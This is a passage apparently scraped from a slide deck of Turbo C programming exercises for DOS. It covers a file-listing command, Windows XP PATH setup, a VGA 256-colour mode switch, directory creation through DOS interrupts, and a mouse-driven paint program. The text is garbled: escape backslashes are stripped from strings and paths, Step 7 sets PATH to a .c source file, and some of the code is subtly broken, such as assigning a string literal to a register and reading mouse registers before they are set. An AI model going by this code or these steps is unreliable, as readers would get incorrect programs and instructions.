  • 9. struct find_t q ; int a; if(count==1) argv[1]="*.*"; a = _dos_findfirst(argv[1],1,&q); if(a==0) { while (!a) { printf(" %sn", q.name); a = _dos_findnext(&q); } } else { printf("File not found"); } } Step 2: Save the as open.c (You can give any name) Step 3: Compile and execute the file. Step 4: Write click on My computer of Window XP operating system and select properties. Step 5: Select Advanced -> Environment Variables Step 6: You will find following window: Click on new button (Button inside the red box)
  • 10. Step 7: Write following: Variable name: path Variable value: c:tcbinopen.c (the path where you have saved)
  • 11. Step 8: Open command prompt and write list and press enter button Write the c program to switch the 256 color graphics mode ?. Ans: #include<stdio.h> #include<dos.h> void main() { int x,y,b; union REGS i,o; i.h.ah=0; i.h.al=0x13; int86(0x10,&i,&o); getch(); } Write a c program to create a directory in current working directory? Ans: #include<stdio.h> #include<dos.h> void main()
  • 12. { union REGS i,o; i.h.ah=0x39; i.x.dx="ravan"; int86(0x21,&i,&o); getch(); } Write a c programming code to create simple paint brush software. #include<dos.h> #include<stdio.h> #include<graphics.h> #include<stdlib.h> void main() { int x,y,b,px,py,c,p,s,cl; int d=0,m; union REGS i,o; initgraph(&d,&m,"c:tc"); i.x.ax=1; int86(0x33,&i,&o); i.x.ax=8; i.x.cx=20; i.x.dx=450; int86(0x33,&i,&o); printf("Brush style insert number from 0 to 5 : "); scanf("%d",&p); printf("Brush size insert number from 1 to 7 : "); scanf("%d",&s); printf("Brush color insert number from 1 to 16 : "); scanf("%d",&cl); clrscr(); cleardevice(); printf("tt**********DRAW IMAGE************"); while(!kbhit()) { i.x.ax=3; b=o.x.bx;
  • 13. x=o.x.cx; y=o.x.dx; px=x; py=y; int86(0x33,&i,&o); if(cl==16) { c=random(16); } else { c=cl; } setcolor(c); if(b==1) { i.x.ax=3; int86(0x33,&i,&o); x=o.x.cx; y=o.x.dx; b=o.x.bx; switch(p) { case 1:circle(px,py,s);break; case 2:ellipse(px,py,0,270,s,s+2);break; case 3:fillellipse(px,py,s+2,s);break; case 4:rectangle(px,py,x,y);break; case 5:sector(px,py,30,120,s,s);break; default:line(px,py,x,y); } } } getch(); restorecrtmode(); closegraph(); }